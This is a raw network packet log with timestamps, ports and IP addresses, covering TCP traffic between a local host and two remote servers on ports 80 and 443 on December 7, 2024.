Dec 7, 2024 18:26:17.819716930 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.819812059 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.819854021 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.820389032 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.820439100 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.820516109 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.820589066 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.821301937 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.821350098 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.821468115 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.821513891 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.822293043 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.822356939 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.822424889 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.822472095 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.823194027 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.823250055 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.823390007 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.823451996 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.824084044 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.824126959 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.883023024 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.883054018 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.883128881 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.883157015 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.883229971 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.885236979 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.885258913 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.885322094 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.885792971 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.885838985 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.886049986 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.886101007 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.886692047 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.886739969 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.886948109 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.886992931 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.887629986 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.887643099 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.887680054 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.888346910 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.888394117 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.888535976 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.888581991 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.889689922 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.889702082 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.889743090 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.890281916 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.890331984 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.890355110 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.890396118 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.891161919 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.891205072 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.891360044 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.891407013 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.892410040 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.892462015 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.892633915 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.892677069 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.893035889 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.893079042 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.893152952 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.893191099 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.893984079 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.894032001 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.894092083 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.894135952 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.894947052 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.894987106 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.895068884 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.895116091 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.896008968 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.896028996 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.896050930 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.896069050 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.896924973 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.896974087 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.897309065 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.897358894 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.897732019 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.897779942 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.897870064 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.897916079 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.898000956 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.898035049 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.898068905 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.898097038 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.898118019 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.898140907 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.898686886 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.898731947 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.898796082 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.898843050 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.899656057 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.899703979 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.899871111 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.899919987 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.900567055 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.900615931 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.900789976 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.900835991 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.901479959 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.901542902 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.901587963 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.901643038 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.902755976 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.902812958 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.902993917 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.903039932 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.903356075 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.903403044 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.903520107 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.903568983 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.904906034 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.904920101 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.904958963 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.905092001 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.905560017 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.905616045 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.905683041 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.905730009 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.906171083 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.906219006 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.906306982 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.906363010 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.907452106 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.907469988 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.907505035 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.908067942 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.908123016 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.908190012 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.908229113 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.909168959 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.909219980 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.909558058 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.909620047 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.909930944 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.909976959 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.910114050 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.910161972 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.911009073 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.911020041 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.911056042 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.911892891 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.911936045 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.912092924 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.912136078 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.912755013 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.912797928 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.912889004 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.912928104 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.913007021 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.913032055 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.913067102 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.913093090 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.913105011 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.913129091 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.917658091 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.917678118 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.917690039 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.917701006 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.917726040 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.917727947 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.917757988 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.917783976 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.925923109 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.925961018 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.926006079 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.926033020 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.926048994 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.926070929 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.940819979 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.940886974 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.940954924 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.941625118 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.941660881 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.943022966 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.943110943 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.943154097 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.943193913 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.943458080 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.943515062 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.943675041 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.943732023 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.943789005 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.943834066 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.944658995 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.944713116 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.944878101 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.944921017 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.945578098 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.945624113 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.945700884 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.945748091 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.946470022 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.946525097 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.946650982 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.946692944 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.947475910 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.947535992 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.947604895 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.947653055 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.948350906 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.948406935 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.948453903 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.948497057 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.949307919 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.949368000 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.949434042 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.949481964 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.950300932 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.950370073 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.950484991 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.950531006 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.951383114 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.951452971 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.951527119 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.951575041 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.952177048 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.952220917 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.952392101 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.952429056 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.953285933 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.953308105 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.953327894 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.953356028 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.953995943 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.954046965 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.954128981 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.954165936 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.954894066 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.954936028 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.993072987 CET	49701	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.993134022 CET	443	49701	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.993208885 CET	49701	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.993808031 CET	49702	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.993850946 CET	443	49702	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.993910074 CET	49702	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.994910002 CET	49703	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.994946957 CET	443	49703	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.995017052 CET	49703	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.995172024 CET	49701	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.995183945 CET	443	49701	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.995263100 CET	49702	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.995277882 CET	443	49702	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.995336056 CET	49704	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.995379925 CET	443	49704	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.995436907 CET	49704	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.995503902 CET	49704	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.995512962 CET	443	49704	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.996197939 CET	49705	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.996233940 CET	443	49705	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.996285915 CET	49705	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.996304035 CET	49703	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.996315956 CET	443	49703	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.996481895 CET	49705	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.996496916 CET	443	49705	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:18.010868073 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.010942936 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.010962009 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.010998964 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.011194944 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.011358023 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.011377096 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.011400938 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.012124062 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.012171984 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.012317896 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.012407064 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.013050079 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.013101101 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.013154030 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.013192892 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.013972998 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.014029980 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.014081955 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.014147043 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.014974117 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.015027046 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.015075922 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.015108109 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.015928030 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.015949011 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.015980005 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.016000032 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.077446938 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.077542067 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.077605963 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.077651024 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.077851057 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.077899933 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.077960968 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.078006983 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.078787088 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.078830957 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.078907967 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.078948021 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.079782963 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.079832077 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.079864025 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.079906940 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.080641031 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.080688000 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.080764055 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.080805063 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.081573963 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.081619024 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.081684113 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.081727028 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.082598925 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.082643032 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.082739115 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.082782030 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.083550930 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.083595991 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.083635092 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.083674908 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.084402084 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.084450960 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.084489107 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.084537029 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.085324049 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.085371971 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.085414886 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.085457087 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.086313963 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.086361885 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.086400032 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.086445093 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.087261915 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.087306023 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.087482929 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.087533951 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.088172913 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.088219881 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.088247061 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.088289022 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.089113951 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:18.089158058 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:18.089201927 CET	80	49699	185.215.113.206	192.168.2.7
